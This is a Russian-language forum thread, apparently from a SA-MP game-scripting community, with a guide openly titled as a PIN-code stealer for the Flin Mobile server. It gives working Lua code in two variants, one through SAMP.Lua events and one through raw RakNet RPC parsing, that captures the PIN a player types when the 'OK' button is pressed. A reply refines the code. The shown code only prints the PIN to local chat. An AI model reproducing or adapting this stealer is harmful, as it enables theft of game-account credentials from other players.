Исходник Гайд [Flin Mobile] - Стиллер пинкода.

yung milonov

Известный
Автор темы
971
473
Привет. Увидел эту тему и решил сделать гайд. Разберу два метода - с использованием SAMP.Lua и без него. Кому лень читать - полный код в конце гайда.
С использованием SAMP.Lua
Для начала подключаем сам модуль к нашему скрипту.
Lua:
local sampev = require("samp.events")
После подключения модуля для удобства создам две переменных в которых будут храниться ID текстдравов.
Lua:
local str_td, l_td = 0, 0
Создаем функцию-событие которая будет вызываться каждый раз, когда сервер создает для нас текстдрав.

Lua:
function sampev.onShowTextDraw(textdrawId, data)
    -- code
end
В функции проверяем координаты каждого текстдрава с нужными нам и если они совпадают - записываем их в ранее созданные переменные.
Проверка на создание текстдрава с самим пин-кодом:
Lua:
if math.floor(data.position.x) == 319 and math.floor(data.position.y) == 186 then
    str_td = textdrawId
end
Проверка на создание кнопки "OK":
Lua:
if math.floor(data.position.x) == 246 and math.floor(data.position.y) == 268 then
    l_td = textdrawId
end
После добавления проверок функция выглядит так:
Lua:
function sampev.onShowTextDraw(textdrawId, data)
    if math.floor(data.position.x) == 319 and math.floor(data.position.y) == 186 then
        str_td = textdrawId
    end
    if math.floor(data.position.x) == 246 and math.floor(data.position.y) == 268 then
        l_td = textdrawId
    end
end
Теперь создадим функцию-событие которая будет вызываться при каждом нажатии на кликабельный текстдрав
Lua:
function sampev.onSendClickTextDraw(textdrawId)
    -- code
end
Проверим в ней ID нажатого текстдрава. Если он совпадает с ID кнопки "OK", то получаем текст текстдрава с пин-кодом (для примера отправлю пин-код в чат):
Lua:
function sampev.onSendClickTextDraw(textdrawId)
    if textdrawId == l_td then
        sampAddChatMessage("Pincode: "..sampTextdrawGetString(str_td), -1)
    end
end
При нажатии кнопки "OK" получаем результат:
d0QrsRz.png

Без использования SAMP.Lua
Для удобства снова создам две переменные, в них буду записывать ID текстдравов.
Lua:
local str_td, l_td = 0, 0
Создаем функцию-событие которая будет вызываться при получении RPC от сервера.
Lua:
function onReceiveRpc(id, bs)
    -- code
end
Проверяем ID RPC в этой функции дабы читать данные только нужного нам RPC.
Lua:
function onReceiveRpc(id, bs)
    if id == 134 then
        -- code
    end
end
Читаем данные из RPC и сравниваем координаты текстдрава с нужными нам координатами. Если координаты текстдрава подходят - записываем ID текстдрава в переменную.
Lua:
function onReceiveRpc(id, bs)
    if id == 134 then
        local wTextDrawID = raknetBitStreamReadInt16(bs)
        raknetBitStreamSetReadOffset(bs, 16 + 8 + 32 + 32 + 32 + 32 + 32 + 32 + 8 + 8 + 32 + 8 + 8)
        local fX = raknetBitStreamReadFloat(bs)
        local fY = raknetBitStreamReadFloat(bs)
        if math.floor(fX) == 319 and math.floor(fY) == 186 then
            str_td = wTextDrawID
        end
        if math.floor(fX) == 246 and math.floor(fY) == 268 then
            l_td = wTextDrawID
        end
    end
end
Создаем еще одну функцию-событие которая будет вызываться при каждой отправке RPC нами на сервер.
Lua:
function onSendRpc(id, bs)
    -- code
end
Делаем проверку на ID RPC, читаем ID текстдрава и сравниваем его с ID в переменной (для примера так же отправлю пин-код в чат)
Lua:
function onSendRpc(id, bs)
    if id == 83 then
        if raknetBitStreamReadInt16(bs) == l_td then
            sampAddChatMessage("Pincode: "..sampTextdrawGetString(str_td), -1)
        end
    end
end
При нажатии кнопки "OK" получаем:
2FTFX1W.png

Lua:
local str_td, l_td = 0, 0

function onReceiveRpc(id, bs)
    if id == 134 then
        local wTextDrawID = raknetBitStreamReadInt16(bs)
        raknetBitStreamSetReadOffset(bs, 16 + 8 + 32 + 32 + 32 + 32 + 32 + 32 + 8 + 8 + 32 + 8 + 8)
        local fX = raknetBitStreamReadFloat(bs)
        local fY = raknetBitStreamReadFloat(bs)
        if math.floor(fX) == 319 and math.floor(fY) == 186 then
            str_td = wTextDrawID
        end
        if math.floor(fX) == 246 and math.floor(fY) == 268 then
            l_td = wTextDrawID
        end
    end
end

function onSendRpc(id, bs)
    if id == 83 then
        if raknetBitStreamReadInt16(bs) == l_td then
            sampAddChatMessage("Pincode: "..sampTextdrawGetString(str_td), -1)
        end
    end
end
Lua:
local sampev = require("samp.events")
local str_td, l_td = 0, 0

function sampev.onShowTextDraw(textdrawId, data)
    if math.floor(data.position.x) == 319 and math.floor(data.position.y) == 186 then
        str_td = textdrawId
    end
    if math.floor(data.position.x) == 246 and math.floor(data.position.y) == 268 then
        l_td = textdrawId
    end
end

function sampev.onSendClickTextDraw(textdrawId)
    if textdrawId == l_td then
        sampAddChatMessage("Pincode: "..sampTextdrawGetString(str_td), -1)
    end
end
 
Последнее редактирование:

The Spark

Известный
653
670
Вот щит, я только хотел это написть :с.
Т.к это гайд, то:
Lua:
if id == 134 then
    local wTextDrawID = raknetBitStreamReadInt16(bs)
    raknetBitStreamSetReadOffset(bs, 16 + 8 + 32 + 32 + 32 + 32 + 32 + 32 + 8 + 8 + 32 + 8 + 8)
    local fX = raknetBitStreamReadFloat(bs)
    local fY = raknetBitStreamReadFloat(bs)

    if math.floor(fX) == 319 and math.floor(fY) == 186 then
        str_td = wTextDrawID
    elseif math.floor(fX) == 246 and math.floor(fY) == 268 then
        l_td = wTextDrawID
    end
end
Если через raknetBitStreamIgnoreBits, то без 16 битов в начале
 
  • Нравится
Реакции: chapo

yung milonov

Известный
Автор темы
971
473
Вот щит, я только хотел это написть :с.
Т.к это гайд, то:
Lua:
if id == 134 then
    local wTextDrawID = raknetBitStreamReadInt16(bs)
    raknetBitStreamSetReadOffset(bs, 16 + 8 + 32 + 32 + 32 + 32 + 32 + 32 + 8 + 8 + 32 + 8 + 8)
    local fX = raknetBitStreamReadFloat(bs)
    local fY = raknetBitStreamReadFloat(bs)

    if math.floor(fX) == 319 and math.floor(fY) == 186 then
        str_td = wTextDrawID
    elseif math.floor(fX) == 246 and math.floor(fY) == 268 then
        l_td = wTextDrawID
    end
end
Если через raknetBitStreamIgnoreBits, то без 16 битов в начале
изменил. не знал об существовании данной функи.
 
  • Нравится
Реакции: The Spark